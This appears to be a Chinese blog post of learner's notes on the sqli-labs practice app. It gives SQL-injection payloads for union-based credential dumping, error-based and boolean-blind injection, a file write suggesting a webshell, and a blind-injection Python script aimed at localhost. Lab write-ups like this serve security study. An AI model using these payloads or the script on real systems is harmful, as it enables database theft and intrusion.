「安全筆記」 sqli-labs 從注入到刪庫

「安全筆記」 sqli-labs 從注入到刪庫

資源介紹參數
資源類別: 代碼筆記
如遇問題: 聯繫客服/留言反饋
釋放雙眼,帶上耳機,聽聽看~!
前言:為了更好的學習,可以在sql語句下面插入這句話。echo "your sql statement is ".$sql."
";這樣可以在網頁里看到你的sql查詢語句。手注基本步驟、引導閉合語句...

前言

為了更好的學習,可以在sql語句下面插入這句話。

echo "your sql statement is ".$sql."<br>";

這樣可以在網頁里看到你的sql查詢語句。

手注基本步驟、引導閉合語句:

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替換,url 提交過程中 Url 編碼後的#為%23
or或and判斷 判斷是否存在注入
or 1=1 不報錯 or 1=2 報錯
and 1=1 不報錯 and 1=2 報錯

然後用order by 來判斷字段數,可以用對分查找快速排查
最後在顯示位上替換要查找的信息即可

Less-1

?id=1' and 1=1--+ #正常
?id=1' and 1=2--+ #錯誤 存在注入
?id=1' and order by 4--+ #錯誤
?id=1' and order by 3--+ #正常 判斷有三個字段
?id=1' union select 1,2,3--+ #找到2,3顯示位
?id=1' union select 1.2,database()--+ #查找當前數據庫名稱 
?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ #查找所有數據庫
?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #查詢數據庫下的數據表
?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #查詢數據表下的字段
?id=0%27 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+ #查詢password和username字段

Less-2-4

?id=1 (數值型)
?id=1′)
?id=1")

less-5

基於報錯的sql注入

?id=1' and extractvalue(1,concat(0x5c,database()));

詳細可以參考這裡
從這一關開始,就發現自己菜的真真實實。

「安全筆記」 sqli-labs 從注入到刪庫

less-6

?id=1" 報錯注入

less-7

導出文件,需要滿足幾個條件
1.root權限
2.絕對路徑
?id=1')) UNION SELECT 1,2,3 into outfile "文件的絕對路徑"
可以一條條導入,也可以導入一句話木馬菜刀連接

less-8

布爾盲注,常用函式

Length()函式 返回字符串的長度
Substr()截取字符串
Ascii()返回字符的ascii碼
?id=1' and length(database())=8--+ //手注要一個個猜解,猜中了返回正常,猜錯了不正常。
?id=1' and ascii(substr(database(),1,1))>97 //通過ascii猜database第一個字符,返回正常就猜一個更大的,然後用對分查找快速排查

附一個py腳本,第一次寫腳本,我怎麼這麼菜=,寫的不好,輕噴(而且未完成,未優化)

import requests
import sys

url = "http://localhost/sqli-labs-master/Less-8/?id=1"
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*()'

def get_DBname_len():
    print("Start to get DBname len....")
    DBname_len= 0
    global url
    url_template = url+"' and length(database())={0}%23"
    for i in range(20):
        newUrl=url_template.format(i)
        res = requests.get(newUrl)
        if 'You' in res.text:
            DBname_len=i
            print("DBName length is: n", DBname_len)
            break
    return DBname_len
def get_DBname():
    print("Start to retrieve database name...")
    DBname = ""
    url_template = url + "' and ascii(substr(database(),{0},1))={1}%23"
    max = get_DBname_len()+1
    print("DBName is:")
    for i in range(1,max):
        for j in chars:
            newUrl =url_template.format(i,ord(j))
            res = requests.get(newUrl)
            if 'You' in res.text:
                sys.stdout.write(j)
                sys.stdout.flush()
                DBname = DBname+j
                break
def get_Table_Num():
    print("nStart to retrieve database number")
    num=0
    url_template=url+"' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
    for i in range(1,20):
        newUrl = url_template.format(i)
        res = requests.get(newUrl)
        if 'You' in res.text:
            num=i
            break
    print("table number is:",num)
    return num
def get_Tables_len():
    url_template = url+"' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}%23"
    tables_len=[]
    for i in range(5):
        for j in range(1,20):
            newUrl = url_template.format(i,j)
            res = requests.get(newUrl)
            if 'You' in res.text:
                tables_len.append(j)
                break
    return tables_len
def get_Table_Name():
    print("nStart to get Table name")
    presentName=''
    tables_len=get_Tables_len()
    presentNameLen=0
    max_num = int(get_Table_Num())+1
    url_template= url+"' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2}%23"
    for i in range(max_num):
        for j in range(20):
            for k in chars:
                newUrl =url_template.format(i,j,ord(k))
                res = requests.get(newUrl)
                if 'You' in res.text:
                    sys.stdout.write(k)
                    sys.stdout.flush()
                    presentNameLen+=1
                    break
            if presentNameLen==tables_len[i]:
                presentNameLen=0
                sys.stdout.write('n')
                break
    print("End of search",end='')
get_Table_Num()
get_DBname()
get_Table_Name()
聲明:本文為原創作品,版權歸作者所有。未經許可,不得轉載或用於任何商業用途。如若本站內容侵犯了原著者的合法權益,可聯繫我們進行處理。

給TA打賞
共{{data.count}}人
人已打賞
0 條回復 A文章作者 M管理員
    暫無討論,說說你的看法吧